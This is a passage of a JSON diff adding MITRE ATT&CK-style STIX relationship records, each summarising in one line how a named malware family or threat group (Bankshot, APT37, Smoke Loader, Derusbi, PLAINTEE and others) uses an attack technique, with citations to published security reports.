}, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) searches for certain Registry keys to be configured before executing the payload.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77d079b6-2df9-4ae9-bc7c-1ebe99708660", + "external_references": [ + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Windows DDE for execution of commands and a malicious VBS.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7fe2431d-30b9-45ef-8857-ecef17e428a9", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + } + ], + "modified": "2019-07-08T14:33:16.148Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T18:25:06.703Z", + "type": "relationship", + "id": "relationship--b274a57d-9d27-4e33-b6dc-15e007805838", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.031Z", + "source_ref": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sakula](https://attack.mitre.org/software/S0074) contains UAC bypass code for both 32- and 64-bit systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3efe41c1-48be-48fc-90d8-5ae70df3cd97", + "external_references": [ + { + "source_name": "Dell Sakula", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used a tool known as RemoteExec (similar to [PsExec](https://attack.mitre.org/software/S0029)) to remotely execute batch scripts and binaries.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8bfa94cf-4eeb-442c-8f18-25b07cd3cbf5", + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.553Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) uses a simple one-byte XOR method to obfuscate values in the malware.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8e809969-d903-4e58-b8a9-7344127da3cd", + "external_references": [ + { + "source_name": "Malwarebytes SmokeLoader 2016", + "description": "Hasherezade. (2016, September 12). Smoke Loader \u2013 downloader with a smokescreen still alive. Retrieved March 20, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2016/08/smoke-loader-downloader-with-a-smokescreen-still-alive/" + }, + { + "source_name": "Talos Smoke Loader July 2018", + "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more" + } + ], + "modified": "2019-06-24T19:07:12.668Z", + "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) adds Registry Run keys to achieve persistence.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--087721ee-6643-4453-8a76-8768ced7e506", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After collecting files and logs from the victim, [Prikormka](https://attack.mitre.org/software/S0113) encrypts some collected data with Blowfish.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56fac514-4461-4d8c-93a0-d12cade25169", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.776Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) gathers the victim\u2019s IP address via the ipconfig -all command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8dd3bed4-1e3c-4a08-9181-669b5ca03075", + "external_references": [ + { + "source_name": "Lazarus RATANKBA", + "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + }, + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.245Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant decrypts strings using single-byte XOR keys.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f84b2658-a891-45a8-93ff-14dc0a86df10", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.241Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WINDSHIELD](https://attack.mitre.org/software/S0155) C2 traffic can communicate via TCP raw sockets.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--08bee5d2-5a60-416e-87cb-5cfe35cf67ff", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:38:03.383Z", + "type": "relationship", + "id": "relationship--cc5a6d27-5c74-4f53-afc1-390c71bfae7c", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--ef273807-c465-4728-9cee-5823422f42ee", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--72b5ef57-325c-411b-93ca-a3ca6fa17e31" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The payload of [CozyCar](https://attack.mitre.org/software/S0046) is encrypted with simple XOR with a rotating key. The [CozyCar](https://attack.mitre.org/software/S0046) configuration file has been encrypted with RC4 keys.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--91d4c776-c259-46b0-b511-b344ca027009", + "external_references": [ + { + "source_name": "F-Secure CozyDuke", + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "modified": "2019-04-24T23:17:25.177Z", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of deleting files. It has been observed loading a Linux Kernel Module (LKM) and then deleting it from the hard disk as well as overwriting the data with null bytes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Unknown Logger](https://attack.mitre.org/software/S0130) has functionality to disable security tools, including Kaspersky, BitDefender, and MalwareBytes.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fb1ff794-8060-42c8-8969-b6660b07068f", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--ab3580c8-8435-4117-aace-3d9fbe46aa56", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) encoded C2 traffic with base64.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f9916d0-70c3-4504-93cf-cd0e8dd7ead1", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "modified": "2019-04-22T22:36:53.176Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses cmd.exe to execute commands on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ebc8ea86-6847-494a-b304-b6750a2f54e5", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) uses DNS for the C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aae339ae-44bb-48d3-b62e-7f35376bb974", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) attempts to add a shortcut file in the Startup folder to achieve persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--07921720-429b-432c-8147-187162326ff2", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) gathers the name of the local host, version of GNU Compiler Collection (GCC), and the system information about the CPU, machine, and operating system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d2ca571-9e66-4949-b3a1-978c47398b18", + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://www.fidelissecurity.com/sites/default/files/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SslMM](https://attack.mitre.org/software/S0058) has a hard-coded primary and backup C2 string.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--329678a6-eb6b-499b-90a8-059d1cf1a35f", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:48:47.550Z", + "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) establishes persistence by installing a new service pointing to its DLL and setting the service to auto-start.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5576c38e-6b03-4ea9-8936-60eeddb749a7", + "external_references": [ + { + "source_name": "Cylance Shell Crew Feb 2017", + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can list all running processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eb6ecbe4-07fc-4c45-9da8-fab737e300c3", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) has downloaded and executed additional plugins.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fdea1dc1-4b00-411e-a5d3-cd72688237b5", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compressed data into .zip files prior to exfiltrating it.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6b6343a9-0679-4fa7-943f-c9a2b9df55e2", + "external_references": [ + { + "source_name": "US-CERT TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "modified": "2019-03-22T20:13:49.663Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors use the Hunter tool to conduct network service discovery for vulnerable systems.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "modified": "2019-07-14T21:15:55.422Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware attempts to determine the installed version of .NET by querying the Registry.", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--746b0def-62c8-438d-b5ec-aa6b7dbfb860", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sys10](https://attack.mitre.org/software/S0060) uses an XOR 0x1 loop to encrypt its C2 domain.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--19c33297-1efd-4489-b09c-a4230ce194f4", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-05-03T16:44:41.833Z", + "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) uses custom base64 encoding to obfuscate HTTP traffic.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4abcf209-1dab-435b-a347-b8ff318ac5d8", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bandook](https://attack.mitre.org/software/S0234) is capable of spawning a Windows command shell.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3379cbbb-cb69-4dbd-856c-70f88eb256bc", + "external_references": [ + { + "source_name": "EFF Manul Aug 2016", + "description": "Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.", + "url": "https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": 